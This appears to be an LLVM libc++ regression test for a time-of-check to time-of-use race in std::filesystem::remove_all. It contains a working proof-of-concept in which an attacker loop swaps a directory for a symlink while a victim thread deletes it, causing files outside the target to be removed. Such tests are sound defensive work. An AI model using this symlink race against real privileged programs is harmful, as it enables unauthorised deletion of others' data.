90 lines · cpp
1//===----------------------------------------------------------------------===//2//3// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.4// See https://llvm.org/LICENSE.txt for license information.5// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception6//7//===----------------------------------------------------------------------===//8 9// UNSUPPORTED: c++03, c++11, c++1410// UNSUPPORTED: no-localization11// UNSUPPORTED: no-threads12// UNSUPPORTED: no-filesystem13 14// <filesystem>15 16// Test for a time-of-check to time-of-use issue with std::filesystem::remove_all.17//18// Scenario:19// The attacker wants to get directory contents deleted, to which he does not have access.20// He has a way to get a privileged binary call `std::filesystem::remove_all()` on a21// directory he controls, e.g. in his home directory.22//23// The POC sets up the `attack_dest/attack_file` which the attacker wants to have deleted.24// The attacker repeatedly creates a directory and replaces it with a symlink from25// `victim_del` to `attack_dest` while the victim code calls `std::filesystem::remove_all()`26// on `victim_del`. After a few seconds the attack has succeeded and27// `attack_dest/attack_file` is deleted.28//29// This is taken from https://github.com/rust-lang/wg-security-response/blob/master/patches/CVE-2022-21658/0002-Fix-CVE-2022-21658-for-UNIX-like.patch30 31// This test requires a dylib containing the fix shipped in https://reviews.llvm.org/D118134 (4f67a909902d).32// We use UNSUPPORTED instead of XFAIL because the test might not fail reliably.33// UNSUPPORTED: using-built-library-before-llvm-1434 35// Windows doesn't support the necessary APIs to mitigate this issue.36// XFAIL: target={{.+}}-windows-{{.+}}37 38#include <cstdio>39#include <filesystem>40#include <system_error>41#include <thread>42 43#include <filesystem>44#include "filesystem_test_helper.h"45namespace fs = std::filesystem;46 47int main(int, char**) {48 scoped_test_env env;49 fs::path const tmpdir = env.create_dir("mydir");50 fs::path const victim_del_path = tmpdir / "victim_del";51 fs::path const attack_dest_dir = env.create_dir(tmpdir / "attack_dest");52 fs::path const attack_dest_file = env.create_file(attack_dest_dir / "attack_file", 42);53 54 // victim just continuously removes `victim_del`55 bool stop = false;56 std::thread t{[&]() {57 while (!stop) {58 std::error_code ec;59 fs::remove_all(victim_del_path, ec); // ignore any error60 }61 }};62 63 // attacker (could of course be in a separate process)64 auto start_time = std::chrono::system_clock::now();65 auto elapsed_since = [](std::chrono::system_clock::time_point const& time_point) {66 return std::chrono::duration_cast<std::chrono::seconds>(std::chrono::system_clock::now() - time_point);67 };68 bool attack_succeeded = false;69 while (elapsed_since(start_time) < std::chrono::seconds(5)) {70 if (!fs::exists(attack_dest_file)) {71 std::printf("Victim deleted symlinked file outside of victim_del. Attack succeeded in %lld seconds.\n",72 elapsed_since(start_time).count());73 attack_succeeded = true;74 break;75 }76 std::error_code ec;77 fs::create_directory(victim_del_path, ec);78 if (ec) {79 continue;80 }81 82 fs::remove(victim_del_path);83 fs::create_directory_symlink(attack_dest_dir, victim_del_path);84 }85 stop = true;86 t.join();87 88 return attack_succeeded ? 1 : 0;89}90